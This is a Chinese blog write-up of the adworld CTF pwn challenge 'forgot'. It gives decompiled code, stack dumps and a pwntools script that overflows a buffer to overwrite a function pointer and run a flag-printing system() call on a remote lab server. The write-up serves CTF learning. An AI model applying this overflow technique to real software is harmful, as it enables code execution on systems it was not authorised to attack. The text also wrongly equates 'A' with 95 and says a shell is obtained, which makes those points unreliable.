攻防世界forgot

gnol3 于 2022-03-19 16:21:48 发布 3983 收藏
分类专栏： pwn 文章标签： c语言 其他 安全

pwn 专栏收录该内容
1 篇文章 0 订阅
订阅专栏

adworld_forgot

这道题单纯的考对栈里数据的掌握，以及C程序调用

```
int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h] BYREF
  _DWORD v3[10]; // [esp+30h] [ebp-54h]
  char s[32]; // [esp+58h] [ebp-2Ch] BYREF
  int v5; // [esp+78h] [ebp-Ch]
  size_t i; // [esp+7Ch] [ebp-8h]

  v5 = 1;
  v3[0] = sub_8048604;
  v3[1] = sub_8048618;
  v3[2] = sub_804862C;
  v3[3] = sub_8048640;
  v3[4] = sub_8048654;
  v3[5] = sub_8048668;
  v3[6] = sub_804867C;
  v3[7] = sub_8048690;
  v3[8] = sub_80486A4;
  v3[9] = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(s, 32, stdin);
  sub_80485DD(s);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", v2);
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(v2) )
      break;
      break;
    switch ( v5 )
    {
      case 1:
        if ( sub_8048702(v2[i]) )
          v5 = 2;
        break;
      case 2:
        if ( v2[i] == 64 )
          v5 = 3;
        break;
      case 3:
        if ( sub_804874C(v2[i]) )
          v5 = 4;
        break;
      case 4:
        if ( v2[i] == 46 )
          v5 = 5;
        break;
      case 5:
        if ( sub_8048784(v2[i]) )
          v5 = 6;
        break;
      case 6:
        if ( sub_8048784(v2[i]) )
          v5 = 7;
        break;
      case 7:
        if ( sub_8048784(v2[i]) )
          v5 = 8;
        break;
      case 8:
        if ( sub_8048784(v2[i]) )
          v5 = 9;
        break;
      case 9:
        v5 = 10;
        break;
      default:
        continue;
    }
  }
  ((void (*)(void))v3[--v5])();
  return fflush(stdout);
}
```

我们可以看到这个函数79行，是一个函数调用，函数位置在v3[–v5]的地方，通过ida我们还可以看出

```
.text:080486B8 sub_80486B8     proc near               ; DATA XREF: main+5A↓o
.text:080486B8 ; __unwind {
.text:080486B8                 push    ebp
.text:080486B9                 mov     ebp, esp
.text:080486BB                 sub     esp, 18h
.text:080486BE                 mov     dword ptr [esp], offset aYouJustMadeItB ; "You just made it. But then you
 didn't!"
.text:080486C5                 call    _puts
.text:080486CA                 leave
.text:080486CB                 retn
.text:080486CB ; } // starts at 80486B8
.text:080486CB sub_80486B8     endp
.text:080486CB
.text:080486CC
.text:080486CC ; =============== S U B R O U T I N E =======================================
.text:080486CC
.text:080486CC ; Attributes: bp-based frame
.text:080486CC
.text:080486CC ; int sub_80486CC()
.text:080486CC sub_80486CC     proc near
.text:080486CC
.text:080486CC s               = byte ptr -3Ah
.text:080486CC
.text:080486CC ; __unwind {
.text:080486CC                 push    ebp
.text:080486CD                 mov     ebp, esp
.text:080486CF                 sub     esp, 58h
.text:080486D2                 mov     dword ptr [esp+0Ch], offset aFlag ; "./flag"
.text:080486DA                 mov     dword ptr [esp+8], offset aCatS ; "cat %s"
.text:080486E2                 mov     dword ptr [esp+4], 32h ; '2' ; maxlen
.text:080486EA                 lea     eax, [ebp+s]
.text:080486ED                 mov     [esp], eax      ; s
.text:080486F0                 call    _snprintf
.text:080486F5                 lea     eax, [ebp+s]
.text:080486F8                 mov     [esp], eax      ; command
.text:080486FB                 call    _system
.text:08048700                 leave
.text:08048701                 retn
.text:08048701 ; } // starts at 80486CC
.text:08048701 sub_80486CC     endp
```

080486CC地址下有一个拿flag的函数，且在main函数里，除了这一个函数其他的都很好的排在了栈中

```
0b:002c│         0xffffd0bc ◂— 0x0
0c:0030│         0xffffd0c0 —▸ 0x8048604 ◂— push   ebp
0d:0034│         0xffffd0c4 —▸ 0x8048618 ◂— push   ebp
0e:0038│         0xffffd0c8 —▸ 0x804862c ◂— push   ebp
0f:003c│         0xffffd0cc —▸ 0x8048640 ◂— push   ebp
10:0040│         0xffffd0d0 —▸ 0x8048654 ◂— push   ebp
11:0044│         0xffffd0d4 —▸ 0x8048668 ◂— push   ebp
12:0048│         0xffffd0d8 —▸ 0x804867c ◂— push   ebp
13:004c│         0xffffd0dc —▸ 0x8048690 ◂— push   ebp
14:0050│         0xffffd0e0 —▸ 0x80486a4 ◂— push   ebp
15:0054│         0xffffd0e4 —▸ 0x80486b8 ◂— push   ebp
```

执行scanf后的栈长这样

```
04:0010│      0xffffd0a0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓        9 skipped
0e:0038│      0xffffd0c8 —▸ 0x8048600 ◂— 0xc3c9ffff
0f:003c│      0xffffd0cc —▸ 0x8048640 ◂— push   ebp
10:0040│      0xffffd0d0 —▸ 0x8048654 ◂— push   ebp
11:0044│      0xffffd0d4 —▸ 0x8048668 ◂— push   ebp
12:0048│      0xffffd0d8 —▸ 0x804867c ◂— push   ebp
13:004c│      0xffffd0dc —▸ 0x8048690 ◂— push   ebp
14:0050│      0xffffd0e0 —▸ 0x80486a4 ◂— push   ebp
15:0054│      0xffffd0e4 —▸ 0x80486b8 ◂— push   ebp
```

可以发现我们可以把v3[0]给覆盖成0x080486CC

`0xffffd0c0 -0xffffd0a0 = 0x20`

然后我们只需要不被Switch修改v5数据就行了

```
_BOOL4 __cdecl sub_8048702(char a1)
{
  return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
}
```

这是case1中的函数，也就是说我们输入a1=95 也就是‘A’,那么就会返回false从而逃过Switch

最后执行我们修改后的v3[0]，便拿到shell。

(这道题就是看起来内容很多，但是看清楚每个变量在栈上的相对位置后就很容易了，代码一定要看清楚，看仔细不能遗漏)

exp

```
from pwn import *
context(log_level='debug',arch='i386',os='linux')

#p = process('forgot')
p = remote('111.200.241.244',61505)


payload = b'A'*0x20 +  p32(0x080486CC)

p.recvuntil('> ')
p.sendline('gnol')

p.recvuntil('> ')
p.sendline(payload)

p.interactive()
```